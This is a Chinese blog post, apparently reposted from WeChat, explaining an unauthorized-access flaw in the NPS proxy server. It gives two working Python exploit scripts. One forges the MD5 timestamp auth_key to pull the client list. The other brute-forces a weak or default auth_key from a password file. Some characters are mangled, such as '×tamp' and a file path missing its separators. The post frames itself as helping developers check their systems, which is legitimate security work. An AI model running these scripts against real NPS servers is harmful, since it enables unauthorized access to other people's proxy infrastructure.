0x01简介
import time
import requests
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
datas = {'search':"","order":"asc","offset":0,"limit":10,'auth_key': auth_key,'timestamp':int(now)}
print("/index/index?auth_key={0}×tamp={1}".format(auth_key,int(now)))
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
}
response=requests.post("http://192.168.221.130:8080/client/list",data=datas,headers=headers, allow_redirects=False)
print(response.status_code)
print(response.text)
0x03进阶
该漏洞修复方式是注释掉auth_crypt_key,并修改auth_key的值为随机值,但很多开发者并不会给auth_key设置为随机值,导致攻击者可以爆破该值拼接到时间戳上md5来触发此漏洞。
1.这里我将auth_crypt_key注释掉,修改auth_key的值为test,因为官方默认auth_key的值就是test,如果开发者只是删除了前方的注释,则值为test。
2.但还有很多情况下开发者自己配置了auth_key所以我们修改脚本对auth_key的值进行爆破。如果秘钥正确,也可以利用该漏洞。
import time
import requests
import hashlib
with open(r"E:toolspassword100.txt",encoding="utf8") as f:
for cs in f.readlines():
now = time.time()
m = hashlib.md5()
cs=cs.replace("n","").strip()
m.update(cs.encode()+str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
datas = {'search':"","order":"asc","offset":0,"limit":10,'auth_key': auth_key,'timestamp':int(now)}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
}
response=requests.post("http://192.168.221.130:8080/client/list",data=datas,headers=headers, allow_redirects=False)
print(cs)
print(response.status_code)
if(response.status_code==200):
print("/index/index?auth_key={0}×tamp={1}".format(auth_key, int(now)))
print(response.text)
break
1.NPS如下配置。
0x04结语
很多开发者按照互联网的教程,注释掉或者修改auth_crypt_key值就以为修复该漏洞了。但其实这些值如果是默认值或者弱口令攻击者很方便就可以爆破出你的auth_key,导致漏洞依然存在。
创作不易,转载请注明出处。该文章主要用来协助开发者排查漏洞,请勿用于非法用途。
原文始发于微信公众号(地表最强伍迪哥):NPS未授权访问漏洞详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论